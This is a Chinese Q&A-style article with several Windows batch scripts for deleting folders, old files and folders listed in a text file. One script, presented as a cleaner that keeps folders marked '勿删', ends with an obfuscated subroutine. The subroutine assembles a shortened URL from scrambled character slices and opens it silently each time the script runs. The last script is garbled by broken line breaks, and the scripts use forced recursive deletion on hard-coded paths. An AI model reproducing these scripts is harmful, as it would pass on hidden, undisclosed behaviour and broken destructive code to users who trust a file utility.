批处理删除文件夹,批处理删除文件夹下所有子文件夹里面的文件
本篇文章给大家谈谈批处理删除文件夹,以及批处理删除文件夹下所有子文件夹里面的文件对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、如何用批处理删除所在文件夹内的全部文件和文件夹。
- 2、批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?
- 3、请问:如何批处理删除文件夹及其所有子文件夹下N天前所有文件?
- 4、怎样用批处理删除多个文件夹?
如何用批处理删除所在文件夹内的全部文件和文件夹。
我的思路是
用dir
for
if
这三个命令
先用dir显示出所有文件的生成时间
之后用for处理下
去掉dir开头判断的盘符什么的
之后把时间留下来
在套上if进行对比
比如说今天10号
把时间跟7比较
那么小于7的进行删除
具体不怎么会写
刚刚接触到for命令
可以互相探讨
批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?
@echo off title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶
cd /d "%%~dp0"
::设置要处理的主目录路径
set ScrFolder=D:\AAA
::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来
set SkipStr=勿删
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" nul 2nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。
请问:如何批处理删除文件夹及其所有子文件夹下N天前所有文件?
当文件夹里面的某一个文件当前时间被修改过,这个文件夹的修改时间就会变成当前时间.
以删除30天以前的文件夹为例.如果一个文件夹的最后时间都是30天以前.
那么在30天以内该文件夹下的所有文件都没有被修改过.
而一个文件夹如果不在30天以前,那么也可能文件夹下的某些文件是在30天以前的.
根据这个思路.先删除30天以前的文件夹.
再删除30天以内文件夹下所有30天以前的文件.
那么就结果就如下:
forfiles -D -30 /M * /C "cmd /c rd @file /s /q"
forfiles -D -30 /S /M * /C "cmd /c del @path /s /q"
两行批处理即可搞定
怎样用批处理删除多个文件夹?
@echo
offcolor
asetlocal
enabledelayedexpansion
for
/f
"delims="
%%a
in
('type
del.txt')
do
(
for
/d
/r
%%b
in
(*)
do
(
(echo
%%~nxb|findstr
/i
"%%a
%%a.")(echo
%%bdel.log
rd
/s
/q
"%%b")
)
)
pause
这个是根据,你的补充提问中的代码修改的,呵呵,真是不枉此行呀,呵呵,多谢楼主……
本文到此结束,如果可以帮助到大家,还望关注本站哦!